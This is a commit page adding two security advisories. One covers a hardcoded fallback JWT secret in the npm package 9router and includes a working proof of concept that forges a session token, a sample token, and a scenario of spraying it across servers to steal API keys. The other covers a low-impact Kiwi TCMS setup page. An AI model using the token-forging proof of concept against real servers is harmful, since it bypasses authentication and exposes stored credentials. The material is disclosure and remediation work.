Skip to content

Commit 02044e1

Browse files
1 parent 2c4c8eb commit 02044e1

2 files changed

Lines changed: 117 additions & 0 deletions

File tree

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jphh-m39h-6gwx",
4+
"modified": "2026-07-02T20:56:55Z",
5+
"published": "2026-07-02T20:56:55Z",
6+
"aliases": [
7+
"CVE-2026-49352"
8+
],
9+
"summary": "9router's Hardcoded Default fallback JWT Secret Allows Authentication Bypass",
10+
"details": "### Summary\n9router uses a publicly known hardcoded string `\"9router-default-secret-change-me\"` as the fallback of JWT secret for all Dashboard session JWTs when the `JWT_SECRET` environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid `auth_token` cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server\n### Details\n| Versions | File | Note |\n|---|---|---|\n| `>= 0.2.21, <= 0.4.30` | `src/app/api/auth/login/route.js` + `src/middleware.js` | Introduced in commit `23cfb19` |\n| `>= 0.4.31, <= 0.4.41` | `src/lib/auth/dashboardSession.js` | Relocated by OIDC refactor `c3d91b0`, secret unchanged |\n\nVulnerable Code\n\n**v0.2.21 – v0.4.30** — `src/app/api/auth/login/route.js` and `src/middleware.js`:\n\n```js\nconst SECRET = new TextEncoder().encode(\n process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\n\n**v0.4.31 – v0.4.41 (current)** — `src/lib/auth/dashboardSession.js` (centralized via OIDC refactor, commit `c3d91b0`):\n\n```js\nconst SECRET = new TextEncoder().encode(\n process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\nThe fallback string was introduced in commit `23cfb19` (2026-01-09) and has never been removed. The OIDC refactor in `c3d91b0` only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.\n### PoC\n**Step 1.** Craft a JWT signed with the known default secret:\n```js\nimport { SignJWT } from \"jose\";\n\nconst SECRET = new TextEncoder().encode(\"9router-default-secret-change-me\");\n\nconst token = await new SignJWT({ authenticated: true })\n .setProtectedHeader({ alg: \"HS256\" })\n .setIssuedAt()\n .setExpirationTime(\"36y\")\n .sign(SECRET);\n\nconsole.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w\n```\n**Step 2.** Set the forged token as the `auth_token` cookie. And access the `http://<target>/dashboard` - completely authentication bypass \n\n### Attack Scenario:\n- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET\n- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database \n\n\n### Impact\n- A successful attack grants attacker **full API Key, Auth Token** that 9router hold\n- They can **read** 9router apikey, **change** 9router password ,shutdown 9router, **Modify** everything\n- **Pivot** via the MCP stdio→SSE bridge exposed at `/api/mcp/` (exploit CVE-2026-46339)\n\n## Recommended Fix\n\n**Require** `JWT_SECRET` at startup and fail fast rather than falling back silently:\n\n```js\nconst jwtSecret = process.env.JWT_SECRET;\nif (!jwtSecret) {\n throw new Error(\n \"JWT_SECRET environment variable is not set. \" +\n \"Generate one with: openssl rand -hex 32\"\n );\n}\nconst SECRET = new TextEncoder().encode(jwtSecret);\n```\n\nAlternatively, auto-generate a random secret on first boot and persist it to the data directory — but **never** fall back to a publicly known constant.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "9router"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0.2.21"
29+
},
30+
{
31+
"fixed": "0.4.45"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.4.41"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/decolua/9router/security/advisories/GHSA-jphh-m39h-6gwx"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/decolua/9router"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-798"
54+
],
55+
"severity": "CRITICAL",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-07-02T20:56:55Z",
58+
"nvd_published_at": null
59+
}
60+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-v8rp-6xcv-fwgh",
4+
"modified": "2026-07-02T20:55:22Z",
5+
"published": "2026-07-02T20:55:22Z",
6+
"aliases": [
7+
"CVE-2026-49292"
8+
],
9+
"summary": "Kiwi TCMS's /init-db/ page renders and responds to requests after first use",
10+
"details": "Kiwi TCMS provides the /init-db/ page as part of its setup mechanism for administrators who prefer a browser instead of the command line. In previous versions of Kiwi TCMS this page still renders and responds to requests even after first use.\n\n### Impact\n\nThe /init-db/ page does not require any user authentication because it is the first setup operation that needs to be executed in order for Kiwi TCMS to function. Database initialization happens before there are any user accounts available!\n\nWhile that looks serious at first the /init-db/ page is merely a proxy behind the `/Kiwi/manage.py migrate` command, which itself is designed to be reentrant. In the case of repeated access to the /init-db/ page after first use the output is:\n```\nRunning migrations:\n No migrations to apply.\n```\nas shown on the screenshots below:\n\n<img width=\"1911\" height=\"992\" alt=\"2222\" src=\"https://github.com/user-attachments/assets/9f661c71-b305-4380-aadf-0732321b3666\" />\n\n<img width=\"1913\" height=\"1020\" alt=\"3333\" src=\"https://github.com/user-attachments/assets/10f8553e-675d-42be-9adc-cd5613df015c\" />\n\n- There is no data loss because migrations result in a no-op if they are already applied!\n- No application state is altered because all state changes have already been applied! \n- No confidential information revealed because database migrations only report status on migrations which are clearly visible in source code!\n\n### Remediation\n\nThe /init-db/ page has been modified to short-circuit itself if migrations have already been applied, resulting in a no-op on the webUI layer as well.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "kiwitcms"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "12.4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/kiwitcms/Kiwi/security/advisories/GHSA-v8rp-6xcv-fwgh"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/kiwitcms/Kiwi"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-862"
51+
],
52+
"severity": "LOW",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-07-02T20:55:22Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)